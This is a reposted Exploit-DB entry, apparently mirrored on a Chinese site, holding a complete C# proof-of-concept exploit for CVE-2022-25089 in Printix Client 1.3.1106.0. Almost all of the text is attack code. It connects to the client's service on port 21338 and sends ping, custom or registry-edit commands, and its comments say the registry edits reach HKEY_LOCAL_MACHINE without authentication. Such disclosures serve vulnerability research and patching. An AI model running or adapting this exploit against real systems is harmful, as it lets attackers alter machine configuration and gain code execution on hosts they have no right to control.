Printix Client 1.3.1106.0 – Remote Code Execution (RCE)

  • 作者: Logan Latvala
    日期: 2022-03-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50798/
  • # Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
    # Date: 3/1/2022
    # Exploit Author: Logan Latvala
    # Vendor Homepage: https://printix.net
    # Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
    # Version: <= 1.3.1106.0
    # Tested on: Windows 7, Windows 8, Windows 10, Windows 11
    # CVE : CVE-2022-25089
    # Github for project: https://github.com/ComparedArray/printix-CVE-2022-25089
    
    using Microsoft.Win32;
    using Newtonsoft.Json;
    using Newtonsoft.Json.Converters;
    using System;
    using System.Collections.Generic;
    using System.Diagnostics;
    using System.Linq;
    using System.Text;
    using System.Threading;
    using System.Threading.Tasks;
    
    /**
     * ________________________________________
     * 
     * Printix Vulnerability, CVE-2022-25089
     * Part of a Printix Vulnerability series
     * Author: Logan Latvala
     * Github: https://github.com/ComparedArray/printix-CVE-2022-25089
     * ________________________________________
     * 
     */
    
    
    namespace ConsoleApp1a
    {
    
    	public class PersistentRegistryData
    	{
    		public PersistentRegistryCmds cmd;
    
    		public string path;
    
    		public int VDIType;
    
    		public byte[] registryData;
    	}
    
    	[JsonConverter(typeof(StringEnumConverter))]
    	public enum PersistentRegistryCmds
    	{
    		StoreData = 1,
    		DeleteSubTree,
    		RestoreData
    	}
    	public class Session
    	{
    		public int commandNumber { get; set; }
    		public string host { get; set; }
    		public string data { get; set; }
    		public string sessionName { get; set; }
    		public Session(int commandSessionNumber = 0)
    		{
    			commandNumber = commandSessionNumber;
    			switch (commandSessionNumber)
    			{
    				//Incase it's initiated, kill it immediately.
    				case (0):
    					Environment.Exit(0x001);
    					break;
    
    				//Incase the Ping request is sent though, get its needed data.
    				case (2):
    					Console.WriteLine("\n What Host Address?(DNS Names Or IP)\n");
    					Console.Write("IP: ");
    					host = Console.ReadLine();
    					Console.WriteLine("Host address set to: " + host);
    
    					data = "pingData";
    					sessionName = "PingerRinger";
    					break;
    
    				//Incase the RegEdit request is sent though, get its needed data.
    				case (49):
    					Console.WriteLine("\n What Host Address?(DNS Names Or IP)\n");
    					Console.Write("IP: ");
    					host = Console.ReadLine();
    					Console.WriteLine("Host address set to: " + host);
    
    					PersistentRegistryData persistentRegistryData = new PersistentRegistryData();
    					persistentRegistryData.cmd = PersistentRegistryCmds.RestoreData;
    					persistentRegistryData.VDIType = 12; //(int)DefaultValues.VDIType;
    														 //persistentRegistryData.path = "printix\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName";
    					Console.WriteLine("\n What Node starting from \\\\Local-Machine\\ would you like to select? \n");
    					Console.WriteLine("Example: HKEY_LOCAL_MACHINE\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName\n");
    					Console.WriteLine("You can only change values in HKEY_LOCAL_MACHINE");
    					Console.Write("Registry Node: ");
    					persistentRegistryData.path = "" + Console.ReadLine().Replace("HKEY_LOCAL_MACHINE","printix");
    					Console.WriteLine("Full Address Set To:" + persistentRegistryData.path);
    
    					//persistentRegistryData.registryData = new byte[2];
    					//byte[] loader = selectDataType("Intel(R) Capability Licensing stuffidkreally", RegistryValueKind.String);
    
    					Console.WriteLine("\n What Data type are you using? \n1. String 2. Dword3. Qword 4. Multi String\n");
    					Console.Write("Type:");
    					int dataF = int.Parse(Console.ReadLine());
    					Console.WriteLine("Set Data to: " + dataF);
    
    					Console.WriteLine("\n What value is your type?\n");
    					Console.Write("Value:");
    					string dataB = Console.ReadLine();
    					Console.WriteLine("Set Data to: " + dataF);
    
    					byte[] loader = null;
    					List<byte> byteContainer = new List<byte>();
    					//Dword = 4
    					//SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!)
    
    					switch (dataF)
    					{
    						case (1):
    
    							loader = selectDataType(dataB, RegistryValueKind.String);
    							byteContainer.Add(1);
    							break;
    						case (2):
    							loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord);
    							byteContainer.Add(4);
    							break;
    						case (3):
    							loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord);
    							byteContainer.Add(11);
    							break;
    						case (4):
    							loader = selectDataType(dataB.Split('%'), RegistryValueKind.MultiString);
    							byteContainer.Add(7);
    							break;
    
    					}
    
    					int pathHolder = 0;
    					foreach (byte bit in loader)
    					{
    						pathHolder++;
    						byteContainer.Add(bit);
    					}
    
    					persistentRegistryData.registryData = byteContainer.ToArray();
    					//added stuff:
    
    					//PersistentRegistryData data = new PersistentRegistryData();
    					//data.cmd = PersistentRegistryCmds.RestoreData;
    					//data.path = "";
    
    
    					//data.cmd 
    					Console.WriteLine(JsonConvert.SerializeObject(persistentRegistryData));
    					data = JsonConvert.SerializeObject(persistentRegistryData);
    
    					break;
    				//Custom cases, such as custom JSON Inputs and more.
    				case (100):
    					Console.WriteLine("\n What Host Address?(DNS Names Or IP)\n");
    					Console.Write("IP: ");
    					host = Console.ReadLine();
    					Console.WriteLine("Host address set to: " + host);
    
    					Console.WriteLine("\n What Data Should Be Sent?\n");
    					Console.Write("Data: ");
    					data = Console.ReadLine();
    					Console.WriteLine("Data set to: " + data);
    
    					Console.WriteLine("\n What Session Name Should Be Used? \n");
    					Console.Write("Session Name: ");
    					sessionName = Console.ReadLine();
    					Console.WriteLine("Session name set to: " + sessionName);
    					break;
    			}
    
    
    		}
    		public static byte[] selectDataType(object value, RegistryValueKind format)
    		{
    			byte[] array = new byte[50];
    
    			switch (format)
    			{
    				case RegistryValueKind.String: //1
    					array = Encoding.UTF8.GetBytes((string)value);
    					break;
    				case RegistryValueKind.DWord://4
    					array = ((!(value.GetType() == typeof(int))) ? BitConverter.GetBytes((long)value) : BitConverter.GetBytes((int)value));
    					break;
    				case RegistryValueKind.QWord://11
    					if (value == null)
    					{
    						value = 0L;
    					}
    					array = BitConverter.GetBytes((long)value);
    					break;
    				case RegistryValueKind.MultiString://7 
    					{
    						if (value == null)
    						{
    							value = new string[1] { string.Empty };
    						}
    						string[] array2 = (string[])value;
    						foreach (string s in array2)
    						{
    							byte[] bytes = Encoding.UTF8.GetBytes(s);
    							byte[] second = new byte[1] { (byte)bytes.Length };
    							array = array.Concat(second).Concat(bytes).ToArray();
    						}
    						break;
    					}
    			}
    			return array;
    		}
    	}
    	class CVESUBMISSION
    {
    		static void Main(string[] args)
    		{
    		FORCERESTART:
    			try
    			{
    
    				//Edit any registry without auth: 
    				//Use command 49, use the code provided on the desktop...
    				//This modifies it directly, so no specific username is needed. :D
    
    				//The command parameter, a list of commands is below.
    				int command = 43;
    
    				//To force the user to input variables or not.
    				bool forceCustomInput = false;
    
    				//The data to send, this isn't flexible and should be used only for specific examples.
    				//Try to keep above 4 characters if you're just shoving things into the command.
    				string data = "{\"profileID\":1,\"result\":true}";
    
    				//The username to use.
    				//This is to fulfill the requriements whilst in development mode.
    				DefaultValues.CurrentSessName = "printixMDNs7914";
    
    				//The host to connect to. DEFAULT= "localhost"
    				string host = "192.168.1.29";
    
    			//								Configuration Above
    
    			InvalidInputLabel:
    				Console.Clear();
    				Console.WriteLine("Please select the certificate you want to use with port 21338.");
    				//Deprecated, certificates are no longer needed to verify, as clientside only uses the self-signed certificates now.
    				Console.WriteLine("Already selected, client authentication isn't needed.");
    
    				Console.WriteLine(" /───────────────────────────\\ ");
    				Console.WriteLine("\nWhat would you like to do?");
    				Console.WriteLine("\n	1. Send Ping Request");
    				Console.WriteLine("	2. Send Registry Edit Request");
    				Console.WriteLine("	3. Send Custom Request");
    				Console.WriteLine("	4. Experimental Mode (Beta)\n");
    				Console.Write("I choose option # ");
    
    				try
    				{
    					switch (int.Parse(Console.ReadLine().ToLower()))
    					{
    						case (1):
    							Session session = new Session(2);
    
    							command = session.commandNumber;
    							host = session.host;
    							data = session.data;
    							DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);
    
    
    
    							break;
    						case (2):
    							Session sessionTwo = new Session(49);
    
    							command = sessionTwo.commandNumber;
    							host = sessionTwo.host;
    							data = sessionTwo.data;
    							DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);
    
    							break;
    						case (3):
    
    							Console.WriteLine("What command number do you want to input?");
    							command = int.Parse(Console.ReadLine().ToString());
    							Console.WriteLine("What IP would you like to use? (Default = localhost)");
    							host = Console.ReadLine();
    							Console.WriteLine("What data do you want to send? (Keep over 4 chars if you are not sure!)");
    							data = Console.ReadLine();
    
    							Console.WriteLine("What session name do you want to use? ");
    							DefaultValues.CurrentSessName = Console.ReadLine();
    							break;
    						case (4):
    							Console.WriteLine("Not yet implemented.");
    							break;
    					}
    				}
    				catch (Exception e)
    				{
    					Console.WriteLine("Invalid Input!");
    					goto InvalidInputLabel;
    				}
    				
    				Console.WriteLine("Proof Of Concept For CVE-2022-25089 | Version: 1.3.24 | Created by Logan Latvala");
    				Console.WriteLine("This is a RAW API, in which you may get unintended results from usage.\n");
    
    				CompCommClient client = new CompCommClient();
    
    
    				byte[] responseStorage = new byte[25555];
    				int responseCMD = 0;
    				client.Connect(host, 21338, 3, 10000);
    
    				client.SendMessage(command, Encoding.UTF8.GetBytes(data));
    				// Theory: There is always a message being sent, yet it doesn't read it, or can't intercept it.
    				// Check for output multiple times, and see if this is conclusive.
    
    
    
    				//client.SendMessage(51, Encoding.ASCII.GetBytes(data));
    				new Thread(() => {
    					//Thread.Sleep(4000);
    					if (client.Connected())
    					{
    						int cam = 0;
    						// 4 itterations of loops, may be lifted in the future.
    						while (cam < 5)
    						{
    
    							//Reads the datastream and keeps returning results.
    							//Thread.Sleep(100);
    							try
    							{
    								try
    								{
    									if (responseStorage?.Any() == true)
    									{
    										//List<byte> byo1 =responseStorage.ToList();
    										if (!Encoding.UTF8.GetString(responseStorage).Contains("Caption"))
    										{
    											foreach (char cam2 in Encoding.UTF8.GetString(responseStorage))
    											{
    												if (!char.IsWhiteSpace(cam2) && char.IsLetterOrDigit(cam2) || char.IsPunctuation(cam2))
    												{
    													Console.Write(cam2);
    												}
    											}
    										}else
    {
    											
    }
    									}
    
    								}
    								catch (Exception e) { Debug.WriteLine(e); }
    								client.Read(out responseCMD, out responseStorage);
    
    							}
    							catch (Exception e)
    							{
    								goto ReadException;
    							}
    							Thread.Sleep(100);
    							cam++;
    							//Console.WriteLine(cam);
    						}
    
    					
    
    
    					}
    					else
    					{
    						Console.WriteLine("[WARNING]: Client is Disconnected!");
    					}
    				ReadException:
    					try
    					{
    						Console.WriteLine("Command Variable Response: " + responseCMD);
    						Console.WriteLine(Encoding.UTF8.GetString(responseStorage) + " || " + responseCMD);
    						client.disConnect();
    					}
    					catch (Exception e)
    					{
    						Console.WriteLine("After 4.2 Seconds, there has been no response!");
    						client.disConnect();
    					}
    				}).Start();
    
    				Console.WriteLine(responseCMD);
    				Console.ReadLine();
    
    			}
    
    			catch (Exception e)
    			{
    				Console.WriteLine(e);
    				Console.ReadLine();
    
    				//Environment.Exit(e.HResult);
    			}
    
    			goto FORCERESTART;
    		}
    	}
    }